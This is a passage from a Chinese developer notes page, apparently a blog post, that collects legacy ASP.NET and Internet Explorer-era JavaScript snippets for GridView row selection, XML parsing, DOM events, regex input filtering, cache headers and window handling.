;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strJS_ShortKey&nbsp;+=&nbsp;&#34;&nbsp;}&nbsp;&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//注册事件<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Page.RegisterStartupScript(&#34;shortKey&#34;,&nbsp;strJS_ShortKey);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#endregion<br/><br/>10&nbsp;<br/>//弹出的提示&nbsp;分行显示<br/>alert(&#39;aaa&nbsp;\r\n&nbsp;bbb&nbsp;\r\n&nbsp;ccc&#39;);<br/>如果是在后台.cs文件中注册<br/>则需要&nbsp;<br/>string&nbsp;strAlertContent&nbsp;=&nbsp;&#34;aaa&#34;+&#34;&nbsp;\\r\\n&nbsp;&#34;;<br/>strAlertContent&nbsp;+=&nbsp;&#34;bbb&#34;&nbsp;+&#34;&nbsp;\\r\\n&nbsp;&#34;;<br/><br/>11<br/>//实现效果<br/>//点击GridView上的某一行时<br/>//行首列处的RadioButton处于选中状态<br/>//同时保存相关值在隐藏栏位<br/><br/>//用查询得的数据集进行绑定<br/>if&nbsp;(dt.Rows.Count&nbsp;&gt;&nbsp;0)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;//绑定<br/>&nbsp;&nbsp;&nbsp;&nbsp;this.gv_InfoFromSendModule.DataSource&nbsp;=&nbsp;dt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;this.gv_InfoFromSendModule.DataBind();<br/>&nbsp;&nbsp;&nbsp;&nbsp;//确定按钮显示<br/>&nbsp;&nbsp;&nbsp;&nbsp;this.btn_OK.Visible&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;this.txthid_RowCount.Text&nbsp;=&nbsp;dt.Rows.Count.ToString();<br/>}<br/><br/>//GridView的RowDataBound<br/>protected&nbsp;void&nbsp;gv_InfoFromSendModule_RowDataBound(object&nbsp;sender,&nbsp;GridViewRowEventArgs&nbsp;e)<br/>{<br/>&nbsp;&nbsp;&nbsp;if&nbsp;(e.Row.RowIndex&nbsp;&lt;&nbsp;0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;<br/>&nbsp;&nbsp;&nbsp;e.Row.Attributes.Add(&#34;onclick&#34;,&nbsp;&#34;radButton(&#39;&#34;&nbsp;+&nbsp;e.Row.RowIndex.ToString()&nbsp;+&nbsp;&#34;&#39;,&#39;&#34;&nbsp;+&nbsp;e.Row.Cells[1].Text.Trim()&nbsp;+&nbsp;&#34;&#39;);&#34;);<br/>&nbsp;&nbsp;&nbsp;//RadioButton&nbsp;rad&nbsp;=&nbsp;(RadioButton)e.Row.Cells[0].FindControl(&#34;rad_Sel&#101;ct&#34;);<br/>&nbsp;&nbsp;&nbsp;//rad.Attributes.Add(&#34;onclick&#34;,&nbsp;&#34;radButton(&#39;&#34;+e.Row.RowIndex.ToString()+&#34;&#39;,&#39;&#34;+&nbsp;e.Row.Cells[1].Text.Trim()+&#34;&#39;);&#34;);<br/>}<br/><br/>//行上所绑定的JS<br/>function&nbsp;radButton(rowIndex,rowGUID)<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;//gv_InfoFromSendModule$ctl02$rad_Sel&#101;ct<br/>&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;rowCount&nbsp;=&nbsp;parseInt(document.all.txthid_RowCount.value)+2;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;for(var&nbsp;i=2;i&lt;rowCount;i++)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;tmpName;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(i&lt;10)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpName&nbsp;=&nbsp;&#34;gv_InfoFromSendModule$ctl0&#34;+i+&#34;$rad_Sel&#101;ct&#34;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpName&nbsp;=&nbsp;&#34;gv_InfoFromSendModule$ctl&#34;+i+&#34;$rad_Sel&#101;ct&#34;;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//取得对应的Radio对象<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;tmpRadio&nbsp;=&nbsp;document.getElementById(tmpName);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//当前选中&nbsp;其他取消选中<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if((i-2)&nbsp;==&nbsp;rowIndex)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpRadio.checked&nbsp;=&nbsp;true;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tmpRadio.checked&nbsp;=&nbsp;false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;document.all.txthid_GUID.value&nbsp;=&nbsp;rowGUID;<br/>}<br/><br/><br/><br/><br/><br/>//读取第一行的Name字段&nbsp;<br/>var&nbsp;xmlDom&nbsp;=&nbsp;new&nbsp;ActiveXObject(&#34;Microsoft.XMLDOM&#34;);&nbsp;<br/>xmlDom.loadXML(result);&nbsp;<br/>var&nbsp;rowNum&nbsp;=&nbsp;0&nbsp;;&nbsp;<br/>rowNum&nbsp;=&nbsp;xmlDom.documentElement.childNodes.length;&nbsp;<br/>//如果查出资料&nbsp;<br/>if(rowNum&gt;0)&nbsp;<br/>{&nbsp;<br/>var&nbsp;firstRow&nbsp;=&nbsp;xmlDom.documentElement.childNodes[0];&nbsp;<br/>alert(firstRow.sel&#101;ctSingleNode(&#34;Name&#34;).text);&nbsp;<br/>}&nbsp;<br/>或者&nbsp;<br/>var&nbsp;varName&nbsp;=&nbsp;xmlDom.sel&#101;ctSingleNode(&#34;NewDataSet/Table1/Name&#34;).text;<br/><br/>if&nbsp;((event.keyCode&gt;=65)&amp;&amp;(event.keyCode&lt;=90))&nbsp;<br/>{&nbsp;<br/>document.all.Text1.value=&#34;&#34;;&nbsp;<br/>document.all.Text1.focus();&nbsp;<br/>//将65转换为a&nbsp;<br/>document.all.Text1.value=String.fromCharCode(event.keyCode).toLowerCase();&nbsp;<br/>}&nbsp;<br/><br/><br/>keyCode&nbsp;<br/>event.shiftKey&nbsp;<br/>event.altKey&nbsp;<br/>event.ctrlKey&nbsp;<br/>事件返回值&nbsp;<br/>event.returnValue&nbsp;<br/>鼠标位置&nbsp;<br/>event.x&nbsp;<br/>event.y&nbsp;<br/>窗体活动元素&nbsp;<br/>document.activeElement&nbsp;<br/>绑定事件&nbsp;<br/>document.captureEvents(Event.KEYDOWN);&nbsp;<br/>访问窗体元素&nbsp;<br/>document.all(&#34;txt&#34;).focus();&nbsp;<br/>document.all(&#34;txt&#34;).sel&#101;ct();&nbsp;<br/>窗体命令&nbsp;<br/>document.execCommand&nbsp;<br/>窗体COOKIE&nbsp;<br/>document.cookie&nbsp;<br/>菜单事件&nbsp;<br/>document.oncontextmenu&nbsp;<br/>创建元素&nbsp;<br/>document.cr&#101;ateElement(&#34;SPAN&#34;);&nbsp;&nbsp;<br/>根据鼠标获得元素：&nbsp;<br/>document.elementFromPoint(event.x,event.y).tagName==&#34;TD&nbsp;<br/>document.elementFromPoint(event.x,event.y).appendChild(ms)&nbsp;&nbsp;<br/>窗体图片&nbsp;<br/>document.images[索引]&nbsp;<br/>窗体事件绑定&nbsp;<br/>document.onmousedown=scrollwindow;&nbsp;<br/>元素&nbsp;<br/>document.窗体.elements[索引]&nbsp;<br/>对象绑定事件&nbsp;<br/>document.all.xxx.detachEvent(&#39;onclick&#39;,a);&nbsp;<br/>插件数目&nbsp;<br/>navigator.plugins&nbsp;<br/>取变量类型&nbsp;<br/>typeof($js_libpath)&nbsp;==&nbsp;&#34;undefined&#34;&nbsp;<br/>下拉框&nbsp;<br/>下拉框.options[索引]&nbsp;<br/>下拉框.options.length&nbsp;<br/>查找对象&nbsp;<br/>document.getElementsByName(&#34;r1&#34;);&nbsp;<br/>document.getElementById(id);&nbsp;<br/>定时&nbsp;<br/>timer=setInterval(&#39;scrollwindow()&#39;,delay);&nbsp;<br/>clearInterval(timer);&nbsp;<br/>UNCODE编码&nbsp;<br/>escape()&nbsp;,unescape&nbsp;<br/>父对象&nbsp;<br/>obj.parentElement(dhtml)&nbsp;<br/>obj.parentNode(dom)&nbsp;<br/>交换表的行&nbsp;<br/>TableID.moveRow(2,1)&nbsp;<br/>替换CSS&nbsp;<br/>document.all.csss.href&nbsp;=&nbsp;&#34;a.css&#34;;&nbsp;<br/>并排显示&nbsp;<br/>display:inline&nbsp;<br/>隐藏焦点&nbsp;<br/>hidefocus=true&nbsp;<br/>根据宽度换行&nbsp;<br/>style=&#34;word-break:break-all&#34;&nbsp;<br/>自动刷新&nbsp;<br/>&lt;meta&nbsp;HTTP-EQUIV=&#34;refresh&#34;&nbsp;CONTENT=&#34;8;URL=http://c98.yeah.net&#34;&gt;&nbsp;<br/>简单邮件&nbsp;<br/>&lt;a&nbsp;&nbsp;href=&#34;mailto:aaa@bbb.com?subject=ccc&amp;body=xxxyyy&#34;&gt;&nbsp;&nbsp;<br/>快速转到位置&nbsp;<br/>obj.scrollIntoView(true)&nbsp;<br/>锚&nbsp;<br/>&lt;a&nbsp;name=&#34;first&#34;&gt;&nbsp;<br/>&lt;a&nbsp;href=&#34;#first&#34;&gt;anchors&lt;/a&gt;&nbsp;<br/>网页传递参数&nbsp;<br/>location.search();&nbsp;<br/>可编辑&nbsp;<br/>obj.contenteditable=true&nbsp;<br/>执行菜单命令&nbsp;<br/>obj.execCommand&nbsp;<br/>双字节字符&nbsp;<br/>/[^\x00-\xff]/&nbsp;<br/>汉字&nbsp;<br/>/[\u4e00-\u9fa5]/&nbsp;<br/>让英文字符串超出表格宽度自动换行&nbsp;<br/>word-wrap:&nbsp;break-word;&nbsp;word-break:&nbsp;break-all;&nbsp;<br/>透明背景&nbsp;<br/>&lt;IFRAME&nbsp;src=&#34;1.htm&#34;&nbsp;width=300&nbsp;height=180&nbsp;allowtransparency&gt;&lt;/iframe&gt;&nbsp;<br/>获得style内容&nbsp;<br/>obj.style.cssText&nbsp;<br/>HTML标签&nbsp;<br/>document.documentElement.innerHTML&nbsp;<br/>第一个style标签&nbsp;<br/>document.styleSheets[0]&nbsp;<br/>style标签里的第一个样式&nbsp;<br/>document.styleSheets[0].rules[0]&nbsp;<br/>防止点击空链接时，页面往往重置到页首端。&nbsp;<br/>&lt;a&nbsp;href=&#34;javascript:function()&#34;&gt;word&lt;/a&gt;&nbsp;<br/>上一网页源&nbsp;<br/>asp:&nbsp;<br/>request.servervariables(&#34;HTTP_REFERER&#34;)&nbsp;<br/>javascript:&nbsp;<br/>document.referrer&nbsp;<br/>释放内存&nbsp;<br/>CollectGarbage();&nbsp;<br/>禁止右键&nbsp;<br/>document.oncontextmenu&nbsp;=&nbsp;function()&nbsp;{&nbsp;return&nbsp;false;}&nbsp;<br/>禁止保存&nbsp;<br/>&lt;noscript&gt;&lt;iframe&nbsp;src=&#34;*.htm&#34;&gt;&lt;/iframe&gt;&lt;/noscript&gt;&nbsp;<br/>禁止选取&lt;body&nbsp;oncontextmenu=&#34;return&nbsp;false&#34;&nbsp;ondragstart=&#34;return&nbsp;false&#34;&nbsp;onsel&#101;ctstart&nbsp;=&#34;return&nbsp;false&#34;&nbsp;onsel&#101;ct=&#34;document.sel&#101;ction.empty()&#34;&nbsp;oncopy=&#34;document.sel&#101;ction.empty()&#34;&nbsp;onbeforecopy=&#34;return&nbsp;false&#34;onmouseup=&#34;document.sel&#101;ction.empty()&gt;&nbsp;&nbsp;<br/>禁止粘贴&nbsp;<br/>&lt;input&nbsp;type=text&nbsp;onpaste=&#34;return&nbsp;false&#34;&gt;&nbsp;<br/>地址栏图标&nbsp;<br/>&lt;link&nbsp;rel=&#34;Shortcut&nbsp;Icon&#34;&nbsp;href=&#34;favicon.ico&#34;&gt;&nbsp;<br/>favicon.ico&nbsp;名字最好不变16*16的16色,放虚拟目录根目录下&nbsp;<br/>收藏栏图标&nbsp;<br/>&lt;link&nbsp;rel=&#34;Bookmark&#34;&nbsp;href=&#34;favicon.ico&#34;&gt;&nbsp;<br/>查看源码&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=查看网页源代码&nbsp;onclick=&#34;window.location&nbsp;=&nbsp;&#39;view-source:&#39;+&nbsp;&#39;<a href="http://www.csdn.net/" target="_blank">http://www.csdn.net/</a>&#39;&#34;&gt;&nbsp;<br/>关闭输入法&nbsp;<br/>&lt;input&nbsp;style=&#34;ime-mode:disabled&#34;&gt;&nbsp;<br/>自动全选&nbsp;<br/>&lt;input&nbsp;type=text&nbsp;name=text1&nbsp;value=&#34;123&#34;&nbsp;onfocus=&#34;this.sel&#101;ct()&#34;&gt;&nbsp;<br/>ENTER键可以让光标移到下一个输入框&nbsp;<br/>&lt;input&nbsp;onkeydown=&#34;if(event.keyCode==13)event.keyCode=9&#34;&gt;&nbsp;<br/>文本框的默认值&nbsp;<br/>&lt;input&nbsp;type=text&nbsp;value=&#34;123&#34;&nbsp;onfocus=&#34;alert(this.defaultValue)&#34;&gt;&nbsp;<br/>title换行&nbsp;<br/>obj.title&nbsp;=&nbsp;&#34;123&nbsp;sdfs&nbsp;&#34;&nbsp;<br/>获得时间所代表的微秒&nbsp;<br/>var&nbsp;n1&nbsp;=&nbsp;new&nbsp;Date(&#34;2004-10-10&#34;.replace(/-/g,&nbsp;&#34;\/&#34;)).getTime()&nbsp;<br/>窗口是否关闭&nbsp;<br/>win.closed&nbsp;<br/>checkbox扁平&nbsp;<br/>&lt;input&nbsp;type=checkbox&nbsp;style=&#34;position:&nbsp;absolute;&nbsp;clip:rect(5px&nbsp;15px&nbsp;15px&nbsp;5px)&#34;&gt;&lt;br&gt;&nbsp;<br/>获取选中内容&nbsp;<br/>document.sel&#101;ction.cr&#101;ateRange().duplicate().text&nbsp;<br/>自动完成功能&nbsp;<br/>&lt;input&nbsp;&nbsp;type=text&nbsp;&nbsp;autocomplete=on&gt;打开该功能&nbsp;&nbsp;<br/>&lt;input&nbsp;&nbsp;type=text&nbsp;&nbsp;autocomplete=off&gt;关闭该功能&nbsp;&nbsp;&nbsp;&nbsp;<br/>窗口最大化&nbsp;<br/>&lt;body&nbsp;onload=&#34;window.resizeTo(window.screen.width&nbsp;-&nbsp;4,window.screen.height-50);window.moveTo(-4,-4)&#34;&gt;&nbsp;<br/>无关闭按钮IE&nbsp;<br/>window.open(&#34;aa.htm&#34;,&nbsp;&#34;meizz&#34;,&nbsp;&#34;fullscreen=7&#34;);&nbsp;<br/>统一编码/解码&nbsp;<br/>alert(decodeURIComponent(encodeURIComponent(&#34;<a href="http://" target="_blank">http://</a>你好.com?as=&nbsp;hehe&#34;)))&nbsp;<br/>encodeURIComponent对&#34;:&#34;、&#34;/&#34;、&#34;;&#34;&nbsp;和&nbsp;&#34;?&#34;也编码&nbsp;<br/>表格行指示&nbsp;<br/>&lt;tr&nbsp;onmouseover=&#34;this.bgColor=&#39;#f0f0f0&#39;&#34;&nbsp;onmouseout=&#34;this.bgColor=&#39;#ffffff&#39;&#34;&gt;&nbsp;<br/>//各种尺寸&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页可见区域宽：&#34;+&nbsp;&nbsp;document.body.clientWidth;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页可见区域高：&#34;+&nbsp;&nbsp;document.body.clientHeight;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页可见区域高：&#34;+&nbsp;&nbsp;document.body.offsetWeight&nbsp;&nbsp;+&#34;&nbsp;&nbsp;(包括边线的宽)&#34;;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页可见区域高：&#34;+&nbsp;&nbsp;document.body.offsetHeight&nbsp;&nbsp;+&#34;&nbsp;&nbsp;(包括边线的宽)&#34;;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页正文全文宽：&#34;+&nbsp;&nbsp;document.body.scrollWidth;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页正文全文高：&#34;+&nbsp;&nbsp;document.body.scrollHeight;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页被卷去的高：&#34;+&nbsp;&nbsp;document.body.scrollTop;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页被卷去的左：&#34;+&nbsp;&nbsp;document.body.scrollLeft;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页正文部分上：&#34;+&nbsp;&nbsp;window.screenTop;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n网页正文部分左：&#34;+&nbsp;&nbsp;window.screenLeft;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n屏幕分辨率的高：&#34;+&nbsp;&nbsp;window.screen.height;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n屏幕分辨率的宽：&#34;+&nbsp;&nbsp;window.screen.width;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n屏幕可用工作区高度：&#34;+&nbsp;&nbsp;window.screen.availHeight;&nbsp;&nbsp;&nbsp;<br/>s&nbsp;&nbsp;+=&nbsp;&nbsp;&#34;\r\n屏幕可用工作区宽度：&#34;+&nbsp;&nbsp;window.screen.availWidth;&nbsp;&nbsp;&nbsp;<br/>&nbsp;<br/>//过滤数字&nbsp;<br/>&lt;input&nbsp;type=text&nbsp;onkeypress=&#34;return&nbsp;event.keyCode&gt;=48&amp;&amp;event.keyCode&lt;=57||(this.value.indexOf(&#39;.&#39;)&lt;0?event.keyCode==46:false)&#34;&nbsp;onpaste=&#34;return&nbsp;!clipboardData.getData(&#39;text&#39;).match(/\D/)&#34;&nbsp;ondragenter=&#34;return&nbsp;false&#34;&gt;&nbsp;<br/>&nbsp;<br/>//特殊用途&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=导入收藏夹&nbsp;onclick=&#34;window.external.ImportExportFavorites(true,&#39;<a href="http://" target="_blank">http://</a>localhost&#39;);&#34;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=导出收藏夹&nbsp;onclick=&#34;window.external.ImportExportFavorites(false,&#39;<a href="http://" target="_blank">http://</a>localhost&#39;);&#34;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=整理收藏夹&nbsp;onclick=&#34;window.external.ShowBrowserUI(&#39;OrganizeFavorites&#39;,&nbsp;null)&#34;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=语言设置&nbsp;&nbsp;&nbsp;onclick=&#34;window.external.ShowBrowserUI(&#39;LanguageDialog&#39;,&nbsp;null)&#34;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=加入收藏夹&nbsp;onclick=&#34;window.external.AddFavorite(&#39;<a href="http://" target="_blank">http://</a>www.google.com/&#39;,&nbsp;&#39;google&#39;)&#34;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=加入到频道&nbsp;onclick=&#34;window.external.addChannel(&#39;<a href="http://" target="_blank">http://</a>www.google.com/&#39;)&#34;&gt;&nbsp;<br/>&lt;input&nbsp;type=button&nbsp;value=加入到频道&nbsp;onclick=&#34;window.external.showBrowserUI(&#39;PrivacySettings&#39;,null)&#34;&gt;&nbsp;<br/>&nbsp;<br/>//不缓存&nbsp;<br/>&lt;META&nbsp;HTTP-EQUIV=&#34;pragma&#34;&nbsp;CONTENT=&#34;no-cache&#34;&gt;&nbsp;<br/>&lt;META&nbsp;HTTP-EQUIV=&#34;Cache-Control&#34;&nbsp;CONTENT=&#34;no-cache,&nbsp;must-revalidate&#34;&gt;&nbsp;<br/>&lt;META&nbsp;HTTP-EQUIV=&#34;expires&#34;&nbsp;CONTENT=&#34;0&#34;&gt;&nbsp;<br/>&nbsp;<br/><br/>&nbsp;<br/>&nbsp;<br/>//正则匹配&nbsp;<br/>&nbsp;<br/>匹配中文字符的正则表达式：&nbsp;[\u4e00-\u9fa5]&nbsp;<br/>匹配双字节字符(包括汉字在内)：[^\x00-\xff]&nbsp;<br/>匹配空行的正则表达式：\n[\s|&nbsp;]*\r&nbsp;<br/>匹配HTML标记的正则表达式：/&lt;(.*)&gt;.*&lt;\/\1&gt;|&lt;(.*)&nbsp;\/&gt;/&nbsp;&nbsp;<br/>匹配首尾空格的正则表达式：(^\s*)|(\s*$)（像vbscript那样的trim函数）&nbsp;<br/>匹配Email地址的正则表达式：\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*&nbsp;<br/>匹配网址URL的正则表达式：<a href="http://" target="_blank">http://</a>([\w-]+\.)+[\w-]+(/[\w-&nbsp;./?%&amp;=]*)?&nbsp;<br/>以下是例子：&nbsp;<br/>利用正则表达式限制网页表单里的文本框输入内容：&nbsp;<br/>用正则表达式限制只能输入中文：onkeyup=&#34;value=value.replace(/[^\u4E00-\u9FA5]/g,&#39;&#39;)&#34;&nbsp;onbeforepaste=&#34;clipboardData.setData(&#39;text&#39;,clipboardData.getData(&#39;text&#39;).replace(/[^\u4E00-\u9FA5]/g,&#39;&#39;))&#34;&nbsp;<br/>1.用正则表达式限制只能输入全角字符：&nbsp;onkeyup=&#34;value=value.replace(/[^\uFF00-\uFFFF]/g,&#39;&#39;)&#34;&nbsp;onbeforepaste=&#34;clipboardData.setData(&#39;text&#39;,clipboardData.getData(&#39;text&#39;).replace(/[^\uFF00-\uFFFF]/g,&#39;&#39;))&#34;&nbsp;<br/>2.用正则表达式限制只能输入数字：onkeyup=&#34;value=value.replace(/[^\d]/g,&#39;&#39;)&nbsp;&#34;onbeforepaste=&#34;clipboardData.setData(&#39;text&#39;,clipboardData.getData(&#39;text&#39;).replace(/[^\d]/g,&#39;&#39;))&#34;&nbsp;<br/>3.用正则表达式限制只能输入数字和英文：onkeyup=&#34;value=value.replace(/[\W]/g,&#39;&#39;)&nbsp;&#34;onbeforepaste=&#34;clipboardData.setData(&#39;text&#39;,clipboardData.getData(&#39;text&#39;).replace(/[^\d]/g,&#39;&#39;))&#34;&nbsp;<br/>//消除图像工具栏&nbsp;<br/>&lt;IMG&nbsp;SRC=&#34;mypicture.jpg&#34;&nbsp;HEIGHT=&#34;100px&#34;&nbsp;WIDTH=&#34;100px&#34;&nbsp;GALLERYIMG=&#34;false&#34;&gt;&nbsp;&nbsp;<br/>o&#114;&nbsp;<br/>&lt;head&gt;&nbsp;<br/>&lt;meta&nbsp;http-equiv=&#34;imagetoolbar&#34;&nbsp;content=&#34;no&#34;&gt;&nbsp;<br/>&lt;/head&gt;&nbsp;<br/>&nbsp;<br/>//无提示关闭&nbsp;<br/><br/>function&nbsp;Close()&nbsp;<br/>{&nbsp;<br/>&nbsp;var&nbsp;ua=navigator.userAgent&nbsp;<br/>&nbsp;var&nbsp;ie=navigator.appName==&#34;Microsoft&nbsp;Internet&nbsp;Explorer&#34;?true:false&nbsp;<br/>&nbsp;if(ie)&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;IEversion=parseFloat(ua.substring(ua.indexOf(&#34;MSIE&nbsp;&#34;)+5,ua.indexOf(&#34;;&#34;,ua.indexOf(&#34;MSIE&nbsp;&#34;))))&nbsp;<br/>&nbsp;&nbsp;if(IEversion&lt;&nbsp;5.5)&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;var&nbsp;str&nbsp;&nbsp;=&nbsp;&#39;&lt;object&nbsp;id=noTipClose&nbsp;classid=&#34;clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11&#34;&gt;&#39;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str&nbsp;+=&nbsp;&#39;&lt;param&nbsp;name=&#34;Command&#34;&nbsp;value=&#34;Close&#34;&gt;&lt;/object&gt;&#39;;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.body.ins&#101;rtAdjacentHTML(&#34;beforeEnd&#34;,&nbsp;str);&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.all.noTipClose.Click();&nbsp;<br/>&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else&nbsp;<br/>&nbsp;&nbsp;{&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.opener&nbsp;=null;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;window.close();&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br/>&nbsp;&nbsp;&nbsp;}&nbsp;<br/>&nbsp;else&nbsp;<br/>&nbsp;{&nbsp;<br/>&nbsp;&nbsp;window.close()&nbsp;<br/>&nbsp;&nbsp;&nbsp;}&nbsp;<br/>}&nbsp;<br/>//取得控件得绝对位置(1)&nbsp;<br/><br/>&lt;script&nbsp;language=&#34;javascript&#34;&gt;&nbsp;&nbsp;<br/>function&nbsp;getoffset(e)&nbsp;<br/>{&nbsp;&nbsp;<br/>&nbsp;var&nbsp;t=e.offsetTop;&nbsp;&nbsp;<br/>&nbsp;var&nbsp;l=e.offsetLeft;&nbsp;&nbsp;<br/>&nbsp;while(e=e.offsetParent)&nbsp;<br/>&nbsp;{&nbsp;&nbsp;<br/>&nbsp;&nbsp;t+=e.offsetTop;&nbsp;&nbsp;<br/>&nbsp;&nbsp;l+=e.offsetLeft;&nbsp;&nbsp;<br/>&nbsp;}&nbsp;&nbsp;<br/>&nbsp;var&nbsp;rec&nbsp;=&nbsp;new&nbsp;Array(1);&nbsp;<br/>&nbsp;rec[0]&nbsp;&nbsp;=&nbsp;t;&nbsp;<br/>&nbsp;rec[1]&nbsp;=&nbsp;l;&nbsp;<br/>&nbsp;return&nbsp;rec&nbsp;<br/>}&nbsp;&nbsp;<br/>&lt;/script&gt;&nbsp;<br/>//获得控件的绝对位置(2)&nbsp;<br/>o&#114;ect&nbsp;=&nbsp;obj.getBoundingClientRect();&nbsp;<br/>o&#114;ect.left&nbsp;<br/>o&#114;ect.&nbsp;<br/>//最小化,最大化,关闭&nbsp;<br/>&lt;object&nbsp;id=min&nbsp;classid=&#34;clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11&#34;&gt;&nbsp;&nbsp;<br/>&lt;param&nbsp;name=&#34;Command&#34;&nbsp;value=&#34;Minimize&#34;&gt;&lt;/object&gt;&nbsp;&nbsp;<br/>&lt;object&nbsp;id=max&nbsp;classid=&#34;